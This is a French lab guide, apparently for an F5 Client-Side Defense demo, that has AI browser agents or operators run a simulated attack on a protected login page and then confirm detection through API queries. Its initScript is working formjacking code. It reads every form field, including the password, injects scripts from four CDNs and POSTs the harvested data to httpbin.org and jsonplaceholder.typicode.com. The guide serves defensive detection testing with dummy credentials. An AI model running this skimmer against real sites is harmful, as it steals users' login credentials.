Aller au contenu

Phase 2 — Attaque

La Phase 2 génère du trafic d’attaque simulé contre l’application protégée et confirme que le CSD l’a détecté. La Phase 1 doit être terminée — toutes les vérifications de l’Étape 7 doivent être en SUCCÈS — avant de continuer.

Une fois l’infrastructure vérifiée (toutes les vérifications de l’Étape 7 de la Phase 1 sont en SUCCÈS), exécutez les scripts de simulation d’attaque pour générer des détections CSD. Les scripts sont définis dans le guide Déclenchement de la détection et dans la Bibliothèque de scripts d’attaque.

Les assistants IA dotés d’outils d’automatisation de navigateur exécutent la simulation d’attaque de manière programmatique :

  1. Naviguer avec initScript — naviguer d’abord vers about:blank pour garantir un contexte de document propre (évite les initScripts obsolètes des navigations précédentes), puis navigate_page vers http://$F5XC_DOMAINNAME/#/login avec un initScript qui sauvegarde les références natives setInterval, clearInterval, fetch et console.log avant que zone.js ne les remplace, interroge les champs du formulaire de connexion, remplit les identifiants via le setter natif HTMLInputElement.prototype.value, et exécute immédiatement le Script de détection combiné en ligne. Utilisez l’initScript textuel ci-dessous.
  2. Fermer la bannière de bienvenuepress_key avec Escape pour fermer la bannière de bienvenue. Lors des visites ultérieures, la bannière peut ne pas apparaître (cookies persistants). La boîte de dialogue de consentement aux cookies est automatiquement fermée par la touche Escape
  3. Attendre la fin — attendre 10 secondes que tous les rappels de chargement/erreur de scripts CDN et les résolutions de promesses fetch soient terminés
  4. Capturer les preuveslist_console_messages pour vérifier la présence de [CSD Demo] Simulation complete et des résultats de chargement CDN ; list_network_requests filtré par types script et fetch pour vérifier les codes de statut HTTP (200/201 pour les succès, pending pour les requêtes retenues)

initScript Phase 2 (textuel — à utiliser tel quel) :

// Save native references before zone.js patches them
var _si = window.setInterval.bind(window);
var _ci = window.clearInterval.bind(window);
var _fetch = window.fetch.bind(window);
var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection script
var _poll = _si(function() {
var emailEl = document.querySelector('#email');
var passEl = document.querySelector('#password');
if (emailEl && passEl) {
_ci(_poll);
// Fill credentials via native setter (bypasses zone.js)
var nativeSet = Object.getOwnPropertyDescriptor(
window.HTMLInputElement.prototype, 'value').set;
nativeSet.call(emailEl, 'test@example.com');
emailEl.dispatchEvent(new Event('input', { bubbles: true }));
nativeSet.call(passEl, 'P@ssword123');
passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil
(function() {
_log('==================================================');
_log('[CSD Demo] Combined Detection Script — Starting');
_log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting');
var inputs = document.querySelectorAll('input');
var harvested = {};
inputs.forEach(function(input) {
var name = input.name || input.id || input.type;
harvested[name] = input.value || '(empty)';
});
_log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection');
var cdns = [
{ url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
{ url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
{ url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
{ url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
];
cdns.forEach(function(cdn) {
var script = document.createElement('script');
script.src = cdn.url;
script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); };
script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); };
document.head.appendChild(script);
_log('[Supply Chain] Injected script tag: ' + cdn.name);
});
_log('\n[Exfil] Phase 3: Data exfiltration');
var payload = JSON.stringify({
type: 'combined_demo', credentials: harvested,
page: window.location.href, timestamp: Date.now()
});
_fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload })
.then(function() { _log('[Exfil] Data sent to www.httpbin.org'); });
_fetch('https://jsonplaceholder.typicode.com/posts', {
method: 'POST', mode: 'no-cors',
headers: { 'Content-Type': 'application/json' }, body: payload
}).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n==================================================');
_log('[CSD Demo] Simulation complete');
_log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
_log('[CSD Demo] Scripts injected: 4 (4 CDN domains)');
_log('[CSD Demo] Exfil channels: 2 (fetch POST)');
_log('==================================================');
})();
}
}, 300);

Les opérateurs sans outils d’automatisation de navigateur effectuent les étapes manuellement :

  1. Naviguer vers la page de connexion de l’application protégée : http://xF5XC_DOMAINNAMEx/#/login
  2. Saisir des identifiants fictifs — tapez test@example.com dans le champ Email et P@ssword123 dans le champ Mot de passe (ne soumettez pas le formulaire)
  3. Ouvrir les DevTools — appuyez sur F12 et passez à l’onglet Console
  4. Exécuter le Script de détection combiné — collez le script depuis Déclenchement de la détection — Exécuter le script de simulation combiné dans la console et appuyez sur Entrée
  5. Vérifier la sortie de la console — confirmez que la sortie par phases [CSD Demo] affiche : la collecte des champs du formulaire, l’injection de scripts depuis 4 domaines CDN, et l’exfiltration de données vers 2 points de terminaison
SignalComportementDétection
Collecte des champs de formulaireLit les valeurs des champs email et mot de passeScripts lisant des champs de formulaire sensibles — signalé comme Risque élevé
Injection de scriptsInjecte 4 balises <script> depuis cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.ioJusqu’à 4 nouveaux domaines de scripts tiers détectés (disponibilité CDN variable)
Exfiltration de donnéesEnvoie les données collectées via fetch vers www.httpbin.org et jsonplaceholder.typicode.comAppels réseau vers des domaines externes

L’assistant IA doit signaler les éléments suivants. Pour l’exécution automatisée par IA, les preuves sont capturées de manière programmatique via list_console_messages (la fonction de sondage de l’initScript enregistre les résultats dans la console). Pour l’exécution manuelle, l’opérateur lit la sortie de la console du navigateur.

VérificationAttenduStatut
Page de connexion chargée200 OK sur http://$F5XC_DOMAINNAME/#/loginSUCCÈS / ÉCHEC
Script de console exécuté[CSD Demo] Simulation complete dans la sortie de la consoleSUCCÈS / ÉCHEC
Champs collectésNombre > 0 dans la sortie de la consoleSUCCÈS
Scripts injectés1 à 4 domaines CDN dans la sortie de la console (certains peuvent échouer avec des erreurs de ressources)SUCCÈS si au moins un domaine CDN apparaît
Canaux d’exfiltration2 tentatives de fetch POST dans la sortie de la consoleSUCCÈS

Étape 9 : Vérification de la détection via l’API

Section intitulée « Étape 9 : Vérification de la détection via l’API »

Interrogez les points de terminaison de l’API CSD pour confirmer l’apparition des détections. Utilisez la boucle d’interrogation : interrogez /detected_domains toutes les 60 secondes ; procédez dès que DET-3 réussit. Si DET-3 ne réussit pas après 10 minutes, vérifiez la configuration CSD. Si DET-3 ne réussit pas après 30 minutes, arrêtez et signalez à l’opérateur. Ces points de terminaison sont documentés dans la Référence API et utilisent la même authentification et le même espace de noms que les étapes précédentes.

Interrogez les scripts détectés au cours des dernières 24 heures :

Fenêtre de terminal
NOW=$(date +%s)
START=$(( NOW - 86400 ))
curl -s -X POST \
-H "Authorization: APIToken xF5XC_API_TOKENx" \
-H "Content-Type: application/json" \
-d "{\"startTime\": \"$START\", \"endTime\": \"$NOW\"}" \
"xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/scripts" \
| jq '{total: (.scripts | length), scripts: [.scripts[]? | {script_name: .script_name, risk_level: .risk_level}]}'
ChampAttenduStatut
total> 0 (scripts détectés)SUCCÈS si > 0 ; EN ATTENTE si 0 mais /detected_domains affiche des domaines d’exfiltration
Noms de scriptsInclut les domaines CDN (cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.io) dans script_nameSUCCÈS si les domaines CDN injectés apparaissent
Fenêtre de terminal
curl -s \
-H "Authorization: APIToken xF5XC_API_TOKENx" \
"xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/detected_domains" \
| jq '{total_domains: .domain_summary.totalDomains, domains: [.domains_list[]? | {domain: .domain, category: .category}]}'
ChampAttenduStatut
total_domains> 0SUCCÈS si > 0
Liste de domainesInclut les domaines CDN et d’exfiltrationSUCCÈS si les domaines attendus apparaissent
Fenêtre de terminal
NOW=$(date +%s)
START=$(( NOW - 86400 ))
curl -s \
-H "Authorization: APIToken xF5XC_API_TOKENx" \
"xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/formFields?startTime=$START&endTime=$NOW" \
| jq '{total: .total_size, fields: [.form_fields[]? | {name: .name, sensitivity: .analysis.value, scripts: (.associated_scripts | length), locations: .locations}]}'
ChampAttenduStatut
total> 0SUCCÈS si > 0 ; EN ATTENTE si 0 mais DET-3 réussit
nameInclut email, passwordSUCCÈS si les champs sensibles apparaissent
sensitivitySensitive pour les champs email/mot de passeSUCCÈS si le ML a classifié correctement

Après toutes les interrogations de détection, présentez le statut de détection final :

ID TestVérificationStatut
DET-1Scripts détectés (point de terminaison /scripts)SUCCÈS si > 0 ; EN ATTENTE si vide mais DET-3 réussit
DET-2Domaines CDN détectésSUCCÈS / ÉCHEC
DET-3Domaines d’exfiltration détectés (/detected_domains)Indicateur principal — SUCCÈS si www.httpbin.org ou jsonplaceholder.typicode.com apparaissent
DET-4Champs de formulaire détectés (point de terminaison /formFields)SUCCÈS si > 0 ; EN ATTENTE si vide mais DET-3 réussit

Phase 2 terminée. Passez à la Phase 3 — Mitigation pour appliquer les règles de mitigation et vérifier que les domaines sont bloqués.